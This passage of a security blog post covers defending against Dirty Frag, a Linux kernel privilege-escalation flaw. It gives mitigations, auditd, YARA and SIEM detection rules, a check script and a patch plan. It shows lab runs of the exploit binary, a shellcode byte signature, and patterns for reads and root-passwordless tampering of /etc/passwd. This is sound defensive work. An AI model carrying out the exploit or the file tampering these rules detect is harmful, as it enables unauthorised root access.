PersistencePage cache only (clean reboot)Page cache (can be synchronized to disk)

Clean after testing

The modification is in the page cache. To clean without destroying the VM:

BASH
# Como root, descartar page cache (restaura /etc/passwd desde disco)
echo 3 > /proc/sys/vm/drop_caches

If the changes were synchronized to disk, restore the file:

BASH
# Restaurar /etc/passwd original
# Opcion 1: editar manualmente
sed -i 's/^root::.*/root:x:0:0:root:\/root:\/bin\/bash/' /etc/passwd

# Opcion 2: destruir y recrear la VM
vagrant destroy -f && vagrant up

Workarounds for unpatchable environments

Workaround 1: Disable esp4, esp6 and rxrpc modules

The official workaround recommended by the exploit author. Disable the modules that make the chain possible:

BASH
# Mitigacion one-liner del README oficial
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Broken down:

BASH
# 1. Bloquear carga de los modulos
cat > /etc/modprobe.d/dirtyfrag.conf << 'EOF'
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) mitigation
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF

# 2. Descargar los modulos si estan cargados
rmmod esp4 esp6 rxrpc 2>/dev/null

# 3. Limpiar page cache por si ya fue explotado
echo 3 > /proc/sys/vm/drop_caches

# 4. Verificar
lsmod | grep -E "esp|rxrpc"
# (sin output = modulos descargados)

What breaks this:

  • Affects: IPsec (libreswan, strongSwan), AFS (OpenAFS)
  • Does not affect: WireGuard, OpenVPN, SSH, TLS/SSL, firewalls (iptables/nftables)
  • How to verify impact: ip xfrm state list (if there are active SAs, there is IPsec in use)

Workaround 2: Remove CAP_NET_ADMIN in containers

The xfrm-ESP path requires CAP_NET_ADMIN. Removing it prevents that vector (the RxRPC path does not need it, but if rxrpc.ko is not loaded on the host, this workaround is sufficient):

BASH
# Docker
docker run --cap-drop=NET_ADMIN myimage

# Kubernetes
apiVersion: v1
kind: Pod
spec:
  containers:
    - name: app
      securityContext:
        capabilities:
          drop: ["NET_ADMIN"]

To completely block Dirty Frag in containers, combine with disabling modules on the host.

Workaround 3: Audit rule

BASH
# /etc/audit/rules.d/dirty-frag.rules

# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc

# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload

# Detectar acceso a /etc/passwd por usuario no-root (lectura para page cache)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_read

Load the rules:

BASH
augenrules --load

Verify that the workaround works

After applying workaround 1:

BASH
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=1)
# El exploit no puede cargar rxrpc ni crear SAs xfrm

Attack detection

Dirty Frag leaves more trace than Copy Fail: creates UDP sockets on ports 7779+, AF_RXRPC sockets, and modifies /etc/passwd. But by default these events are not audited.

auditd rule

BASH
# /etc/audit/rules.d/dirty-frag.rules

# Detectar creacion de sockets AF_RXRPC (familia 33)
-a always,exit -F arch=b64 -S socket -F a0=33 -k dirty_frag_rxrpc

# Detectar bind en puertos altos UDP (7779-7900, usados por el exploit)
-a always,exit -F arch=b64 -S bind -k dirty_frag_bind

# Detectar carga de modulos vulnerables
-a always,exit -F arch=b64 -S init_module -S finit_module -k dirty_frag_modload

# Detectar modificacion de /etc/passwd
-w /etc/passwd -p wa -k dirty_frag_passwd_modify

# Detectar lectura de /etc/passwd por no-root (mmap para page cache attack)
-a always,exit -F arch=b64 -S open -S openat -F path=/etc/passwd -F perm=r -F auid>=1000 -k dirty_frag_passwd_read
BASH
augenrules --load
ausearch -k dirty_frag_rxrpc -ts recent

YARA rule: detect the exploit in disk or memory

YARA
rule DirtyFrag_CVE_2026_43284_43500 {
    meta:
        description = "Detecta el exploit Dirty Frag (CVE-2026-43284 + CVE-2026-43500)"
        author = "Red Orbita"
        date = "2026-05-17"
        cve = "CVE-2026-43284,CVE-2026-43500"
        severity = "critical"

    strings:
        // Strings del exploit compilado
        $s1 = "dirtyfrag: failed" ascii
        $s2 = "rxrpc/rxkad LPE EXPLOIT" ascii
        $s3 = "XFRM_MSG_NEWSA" ascii
        $s4 = "dirty_frag_xfrm" ascii
        $s5 = "page-cache patched" ascii

        // Patron de la busqueda de claves fcrypt
        $s6 = "search K_A" ascii
        $s7 = "kernel trigger" ascii

        // Nombre del source
        $s8 = "dirtyfrag" ascii nocase

        // Socket AF_RXRPC (familia 33 = 0x21)
        $rxrpc_family = { 21 00 00 00 }

        // Shellcode setuid(0) + execve (path xfrm-ESP)
        $shellcode_setuid = { 48 31 ff b0 69 0f 05 }

    condition:
        ($s1 and $s2) or
        ($s3 and $s5) or
        ($s6 and $s7) or
        ($shellcode_setuid and $s8) or
        (4 of ($s*))
}

rule DirtyFrag_Passwd_Tampered {
    meta:
        description = "Detecta /etc/passwd modificado por Dirty Frag (root sin password)"
        author = "Red Orbita"
        date = "2026-05-17"
        severity = "critical"

    strings:
        // root con campo password vacio (root::0:0:)
        $tampered = /root::[0-9]+:[0-9]+:/ ascii

    condition:
        $tampered
}

Scan:

BASH
# Escanear directorios de usuarios
yara -r dirty_frag.yar /home/ /tmp/ /var/tmp/ /dev/shm/

# Verificar si /etc/passwd fue modificado
yara dirty_frag.yar /etc/passwd

# Escanear procesos en memoria
yara -p 4 dirty_frag.yar /proc/*/exe 2>/dev/null

Wazuh rules: real-time alert

Add in /var/ossec/etc/rules/local_rules.xml:

XML
<group name="dirty_frag,exploit,cve-2026-43284">

  <!-- Deteccion de socket AF_RXRPC via auditd -->
  <rule id="100510" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">dirty_frag_rxrpc</field>
    <description>CVE-2026-43284: Socket AF_RXRPC creado (posible Dirty Frag)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de carga de modulos vulnerables -->
  <rule id="100511" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">dirty_frag_modload</field>
    <description>CVE-2026-43284: Carga de modulo esp4/rxrpc detectada</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Modificacion de /etc/passwd -->
  <rule id="100512" level="15">
    <if_sid>550</if_sid>
    <match>/etc/passwd</match>
    <description>CVE-2026-43284: Modificacion de /etc/passwd detectada (posible Dirty Frag)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Correlacion: AF_RXRPC + passwd en menos de 10 segundos -->
  <rule id="100513" level="15" frequency="2" timeframe="10">
    <if_matched_sid>100510</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-43284: Explotacion Dirty Frag en curso (AF_RXRPC + passwd correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Post-explotacion: login root sin password -->
  <rule id="100514" level="14">
    <if_sid>5303</if_sid>
    <match>session opened for user root</match>
    <description>CVE-2026-43284: Sesion root abierta (posible post-explotacion Dirty Frag)</description>
    <mitre>
      <id>T1548.001</id>
    </mitre>
    <group>privilege_escalation,</group>
  </rule>

</group>

Restart Wazuh:

BASH
systemctl restart wazuh-manager

Elastic Security (ELK/SIEM)

EQL detection rule for Auditbeat:

JSON
{
  "rule": {
    "name": "CVE-2026-43284 Dirty Frag - AF_RXRPC Socket Creation",
    "description": "Detecta creacion de sockets AF_RXRPC (familia 33) que pueden indicar explotacion de Dirty Frag",
    "severity": "critical",
    "risk_score": 90,
    "type": "eql",
    "query": "process where event.action == \"socket\" and auditd.data.a0 == \"21\"",
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0004",
          "name": "Privilege Escalation"
        },
        "technique": [
          {
            "id": "T1068",
            "name": "Exploitation for Privilege Escalation"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-43284", "CVE-2026-43500", "Dirty Frag", "LPE", "Linux"]
  }
}

KQL Queries for Kibana:

CODE
# Buscar creacion de sockets AF_RXRPC (familia 33 = 0x21)
auditd.data.syscall: "socket" AND auditd.data.a0: "21"

# Buscar modificaciones a /etc/passwd
auditd.data.key: "dirty_frag_passwd_modify"

# Todas las alertas de dirty frag
auditd.data.key: dirty_frag_*

# FIM: /etc/passwd modificado
file.path: "/etc/passwd" AND event.action: "updated"

Splunk

SPL
| Deteccion principal: socket AF_RXRPC (familia 33)
index=linux sourcetype=linux:audit syscall=socket a0=21
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time

| Correlacion: AF_RXRPC + acceso a /etc/passwd
index=linux sourcetype=linux:audit (key="dirty_frag_rxrpc") OR (key="dirty_frag_passwd_read")
| transaction host auid maxspan=30s
| where eventcount >= 2
| table _time, host, auid, exe, key

| Deteccion de /etc/passwd modificado
index=linux sourcetype=linux:audit key="dirty_frag_passwd_modify"
| stats count by host, auid, _time

| Deteccion post-explotacion: root login sin password
index=linux sourcetype=syslog "session opened for user root"
| stats count by host, src, _time

Recommended alert:

SPL
| Alerta: posible explotacion Dirty Frag
index=linux sourcetype=linux:audit key="dirty_frag_rxrpc"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-43284: Posible explotacion Dirty Frag detectada"

IBM QRadar

Rule 1: Socket AF_RXRPC

CODE
Rule Name: CVE-2026-43284 Dirty Frag - AF_RXRPC Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
  when the event matches ALL of the following:
    - Event Name contains "SYSCALL"
    - AND UTF8(Payload) contains "syscall=41" (socket)
    - AND UTF8(Payload) contains "a0=21" (AF_RXRPC)
    - AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
MITRE: T1068

Rule 2: Correlation

CODE
Rule Name: CVE-2026-43284 Dirty Frag - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
  1. Event contains "a0=21" (AF_RXRPC socket)
  2. FOLLOWED BY Event contains "/etc/passwd" within 30 seconds
  3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001

Rule 3: modified /etc/passwd

CODE
Rule Name: CVE-2026-43284 Dirty Frag - Passwd Tampered
Rule Type: Event
Condition:
  - Event contains file integrity change for /etc/passwd
  - AND Content matches "root::" (empty password field)
Action: Dispatch Critical Offense
Severity: 10 (Maximum)

Quick detection script

BASH
#!/bin/bash
# check_dirty_frag.sh - Verificar estado de CVE-2026-43284 + CVE-2026-43500

echo "=== CVE-2026-43284 + CVE-2026-43500 Dirty Frag - Check ==="
echo ""

# 1. Verificar si los modulos estan cargados
VULN=0
for mod in esp4 esp6 rxrpc; do
    if lsmod | grep -q "^$mod"; then
        echo "[VULNERABLE] Modulo $mod cargado"
        VULN=1
    else
        echo "[OK] Modulo $mod NO cargado"
    fi
done

# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo ""
echo "[INFO] Kernel: $KERNEL"

# 3. Verificar si /etc/passwd ha sido modificado (root sin password)
echo ""
echo "Verificando integridad de /etc/passwd..."
ROOT_LINE=$(head -1 /etc/passwd)
if echo "$ROOT_LINE" | grep -q "^root::"; then
    echo "  [CRITICO] /etc/passwd: root tiene password VACIA - SISTEMA COMPROMETIDO"
    echo "  Linea: $ROOT_LINE"
    VULN=2
elif echo "$ROOT_LINE" | grep -q "^root:x:"; then
    echo "  [OK] /etc/passwd: root tiene password hash normal"
else
    echo "  [SOSPECHOSO] /etc/passwd: formato inusual: $ROOT_LINE"
fi

# 4. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0

for dir in /home /tmp /var/tmp /dev/shm; do
    if find "$dir" -name "exp" -o -name "exp.c" -o -name "dirtyfrag" 2>/dev/null | grep -q .; then
        find "$dir" \( -name "exp" -o -name "exp.c" -o -name "dirtyfrag" \) 2>/dev/null | while read f; do
            echo "  [ALERTA] Posible exploit encontrado: $f"
        done
        FOUND=1
    fi
done

# 5. Buscar sockets AF_RXRPC activos
if ss -xa 2>/dev/null | grep -q rxrpc; then
    echo "  [ALERTA] Sockets AF_RXRPC activos detectados"
    FOUND=1
fi

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema comprometido - /etc/passwd modificado"
    echo "          Accion inmediata:"
    echo "            1. sed -i 's/^root::/root:x:/' /etc/passwd"
    echo "            2. echo 3 > /proc/sys/vm/drop_caches"
    echo "            3. Analisis forense completo"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Modulos vulnerables cargados - aplicar workaround:"
    echo "  sh -c \"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches\""
else
    echo "[OK] Sistema no vulnerable a Dirty Frag"
fi

Definitive solution: update the kernel

Patches are located at:

  • CVE-2026-43284:commit f4c50a4034e6 - fix handling of ESP fragments in page cache
  • CVE-2026-43500:commit aa54b1d27fe0 - fix page reuse in RxRPC

Ubuntu

BASH
sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

RHEL/Rocky/Alma

BASH
sudo dnf update kernel -y
sudo reboot

fedora

BASH
sudo dnf update kernel -y
sudo reboot

Check patch

BASH
uname -r
# Debe ser >= 6.8.0-xx con backport del fix

# Verificar que el exploit ya no funciona
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=4)
# El page cache no se modifica en kernel parcheado

Recommended response plan

PriorityActionTime
ImmediateVerify /etc/passwd does not have root:: (without password)< 15 min
ImmediateApply workaround 1 (rmmod esp4 esp6 rxrpc + drop_caches)< 1 hour
ImmediateDeploy audit rules (workaround 3)< 1 hour
24hRemove CAP_NET_ADMIN in all containers< 24h
72hSchedule patch window for critical hosts< 72h
1 weekUpdate kernel on all systems< 7 days
Post-patchDelete workarounds and verifyAfter reboot

Conclusions

Dirty Frag (CVE-2026-43284 + CVE-2026-43500) is a serious LPE that demonstrates how the combination of two bugs in the kernel's networking subsystems can result in arbitrary writes to the page cache. Compared to Copy Fail:

  • More complex: requires C compilation, brute force fcrypt keys (~1-45 seconds)
  • Two paths of attack: xfrm-ESP (without AppArmor) and RxRPC (with AppArmor), covering all major distros
  • Modify /etc/passwd: more detectable than Copy Fail (which only touches page cache of /usr/bin/su)
  • Simple mitigation: rmmod esp4 esp6 rxrpc Does not affect most servers (only IPsec and AFS)

For environments without IPsec or AFS, disable the esp4, esp6 and rxrpc modules It is the most effective immediate mitigation. Always verify that /etc/passwd has not been modified.

References

Comments